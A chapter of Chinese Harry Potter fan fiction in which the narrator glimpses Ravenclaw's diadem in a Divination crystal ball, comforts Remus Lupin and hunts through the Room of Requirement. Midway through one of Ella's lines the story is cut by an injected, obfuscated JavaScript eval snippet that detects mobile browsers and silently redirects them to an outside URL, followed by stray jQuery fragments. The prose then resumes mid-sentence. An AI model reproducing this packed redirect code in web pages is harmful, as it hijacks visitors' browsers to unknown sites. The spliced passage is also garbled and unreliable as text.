这个时间段的占卜课虽然不像后世的特里劳妮教授那样神神叨叨的,但也非常玄学气质了。

    克拉克教授是个顶着一头编成了五颜六色小辫子,眼睛很大又很圆,总会让人联想到猫头鹰什么的年长女巫,不过其实也很难辨别出她到底几岁了。她浑身上下穿戴了不少饰品,什么羽毛吊坠啦水晶啦藤编之类的啦,看起来就像个繁复主义的吉普赛女巫。

    这节课她给我们带了一批水晶球,让我们观察它,克拉克教授说:“假设你有灵性的话……你会看见……未来的景象……”她的声音忽远忽近的,营造出了非常神秘的气氛。

    我和玛丽坐在一起,面前各自摆着一个水晶球。

    “孩子们……”她说,“……观察你们的……水晶球吧……”克拉克教授的声音空灵地回荡在教室里,“当然,也并非所有人都能看见景象……”

    玛丽端详着自己面前的水晶球,愁眉苦脸地盯了半天也没看见有什么东西,除非倒映在上面的自己的脸也能算景象。

    “这可比茶叶渣占卜难多了不是吗?”她小声地说,“至少那还能看见点东西呢!这个水晶球我只能透过它看见桌子和我自己的脸。梅林,看来我确实没什么占卜天赋。”

    “别这么说。”我耸了耸肩,同样小声地回答她,“至少克拉克教授在给分上很大方,我想只要你期末考试的时候随便扯点什么,她都会让我们过的。”

    “不过要是我有占卜天赋的话,那我希望水晶球能给我展现期末考试的答案。”玛丽已然是开始了幻想。

    “那么水晶球将会被列为违反校规的违禁品。”我耸了耸肩。

    说完我凑近了点儿观察水晶球,这玩意儿非常通透,大概是玻璃造的。确实可以轻而易举地透过它看见它后面的东西,比如桌子。

    比起水晶球,前几堂课的茶叶渣占卜倒更合我的心意,至少不仅茶好喝,茶叶渣也更清晰一些,这或许是因为我有中国血统也说不定?

    就在我走神到不知道何方时,我的余光突然从水晶球里瞥到了什么东西。

    那是什么?我回过神来紧盯着它。

    起初那是一团雾气,朦朦胧胧地覆盖住水晶球,一切都像是360p的画质一样,但很快便拨开了云雾,那是一件非常美丽而富有意义的珍宝——纯银打造,像是展翅的鹰,镶嵌着蓝色的宝石,上面写着这样的一行话:过人的智慧是人类最大的财富。

    ……是拉文克劳的冠冕。

    在看见它的那一刻我才想起来这个东西的存在,是了,它被里德尔做成了魂器,藏在了八楼的有求必应屋里。我难以想象我居然到现在才想起来还有这么一回事!但其他的魂器呢……

    “艾拉,你看见什么了?你的脸色不太好。”玛丽小声地关心道。

    我还没来得及回复,克拉克教授的声音从我的背后乍起,几乎把我吓了一跳,她听起来很是轻快:“啊,非常好……非常好……你具有非常好的灵性……这位……”她迟钝了下。

    “艾拉·李。”我说。

    “艾拉……”她那双猫头鹰一样浑圆的眼睛一眨不眨地注视着我,“你具有占卜的天赋……这是很难得的。”

    几乎所有人的目光都投向了这里。

    “不必告诉我你看见了什么,孩子,未来是不可以泄露的……也不要告诉其他人……”

    我沉默地点了点头。脸上尚且还有些难看。

    *

    莱姆斯在占卜选修课后的不久就逮住了艾拉。虽然他没上占卜课,但好在他熟悉每一个朋友的课表。因而也方便了他找到时机和艾拉单独聊会天。

    “艾拉。”他叫住了那个有些失神地一个劲儿跟着前面的人乱走的黑发女巫,如果他再不开口,艾拉估计要跟着前面的赫奇帕奇一起去他们公共休息室了。

    “哦!呃、莱姆斯!怎么了吗?”黑发女巫被自己的名字给叫回神,紧张地眨了几下眼才反应过来,姿态放松了许多,“有什么事吗?”

    莱姆斯这时候反而也不急着问他想知道的那些问题了,而是关切地问她:“艾拉……你还好吗?你的脸色看起来并不怎么样。”

    “……”她不自觉地又快速眨了眨眼,扬起一个笑来,“当然没事。啊,只不过你知道的,占卜课总会有学生喜欢预言一些可怕的东西——虽然我们都知道那并不真实,对吧?”

    她有事瞒着自己。莱姆斯想,她的演技并不怎么样,甚至可以说是糟糕透了。但他把那点探究的想法压了下去,假如他的朋友并不想告诉他,那他也不会惹人嫌地去过多追问。

    他示意她跟着自己到偏僻一点儿没什么人的角落去说,艾拉就这样亦步亦趋地跟着他,走的时候似乎又在跑神,连莱姆斯已经停下转身了都没发觉,直直地撞进他怀里。

    “不好意思!”这下她真是彻底不敢再让自己的思绪乱飞了,脸上泛着尴尬的红晕往后退了步。

    “没事……”这反而使因过度沉重而疑虑的心情以至于有些不知该从何开口的莱姆斯心情放松了许多,当然这主要是因为他的耳根也红了,好在并没有被对面的女巫察觉,“我只是想问一些问题……”

    “你说吧,莱姆斯。”黑发女巫注视着他,两颗黑曜石一般的眼眸只盛着他的身影。

    莱姆斯的心平静了许多:“我想知道……詹姆和西里斯他们最近到底是怎么了?……我是说,他们有些奇怪不是吗?都不怎么说话了。而且……”他有些难以启齿地顿了顿,看着艾拉的双眼又继续说,“而且你们最近好像总是躲着我。”

    “什么!”艾拉被这话吓得瞪大了双眼,莱姆斯因朋友的小秘密们而忧虑的心偏移了一瞬,觉得她这样子很像炸毛的猫,不过洛丽丝夫人(费尔奇上任那天带来的一只幼猫)可没这么可爱,虽然这话对小猫咪来讲可不动听,好吧,其实洛丽丝夫人也还是可爱的小猫,他不能因为费尔奇而连坐一只无辜的猫……

    莱姆斯意识到自己的思绪飞得太过了,目光移了移,但好在艾拉的话让他回到了正轨上:“我们对你可没有躲着!”艾拉一把抓住了他的手腕(虽然是隔着袍子的),这让莱姆斯也吓了一跳,但艾拉没注意到

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17904721|208367||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    自己过于亲密的肢体动作,“我是说,我们可没有什么针对你的秘密……倒也不是这么说……总之莱姆斯!”她喊道。

    莱姆斯下意识地回视她。

    “你只需要知道一点:我们都拿你当好朋友,绝不会做什么对你不好的事的。”艾拉说。

    “我当然相信……我只是……”莱姆斯低低地说,那种如影随形的焦虑又缠绕住了他。他只是因为狼人的事情疑神疑鬼又过度地自卑。他既认为詹姆他们都拿他当好朋友,但又不觉得一旦他们知道他是个狼人还会这样对他……不,或许他心底是有个微弱的声音告诉他他们不会这样做的,但那好几年狼人生活的阴云依然覆盖着他脆弱的心。

    艾拉抿了抿唇,看着面前男巫脸上那可怜巴巴的表情,柔声而带着怜爱意味地安慰道:“莱姆斯,你别多想了,无论如何我们都是朋友啊?”

    她松开了紧握着他手腕的那只手,转而拍了拍他的肩膀,声音又恢复了轻快的模样:“不过我还有点事,得先走了,至于詹姆他们为什么不说话——”她脸上带着一点恶作剧的意味,“你可以亲口去问他们。”

    艾拉离开了这里。

    莱姆斯的目光下意识地追随着她,目送她离开,直到她的袍角消失在转角。

    他不自知地摸了摸自己的手腕,那里还残留着一点被握住的余温。

    *

    我在开导完可怜的狼人朋友又把矛盾丢给掠夺者们内部去解决之后,直奔城堡八楼的有求必应室。

    尽管我关于原著的记忆已经忘了个七七八八,但既然在今天的占卜课上让我回忆起了其中的一个魂器,那这不就是梅林都在指引我去破坏掉一个魂器吗?

    我要一个可以藏东西的房间……我要一个可以藏东西的房间……我要一个可以藏东西的房间……

    在有求必应室门口来回走了三圈,那扇门浮现出来,我连忙闪进去。

    然而我忘了一个严重的问题:这间房间可堆着不知道几百年的学生们丢失的玩意儿,要从这里面翻到拉文克劳的冠冕,光靠我可不知要到猴年马月去!

    可难道我要让其他人(我的脑袋里第一个浮现出来的就是掠夺者们)帮我一起吗……但又如何解释呢?我必然是不能说明这是魂器的,但那上面毕竟有黑魔法,万一他们拿起来受伤了呢?

    思来想去,最为妥当的还是我自己来,又或者是叫上莉莉她们——更为靠谱的人选。

    不……还是我自己来吧。越少人知道这件事就越安全。

    我看着这漫山遍野乱七八糟的东西,不由得沉重地叹了一口气,认命地从门口附近的那座山里开始翻找。

    一个小时之后。

    魂器是一个踪影也没看见的,反倒是找到了不少有意思的小玩意儿,譬如说表面上看是普通的自动书写羽毛笔,但实际上不管主人想要它写什么,它最后都只会产出一篇篇的灵异故事……嗯别说写得还挺好看的。

    最后虽然没有找到拉文克劳的冠冕,但我口袋里塞了一堆乱七八糟的恶作剧产品……也算是满载而归吧……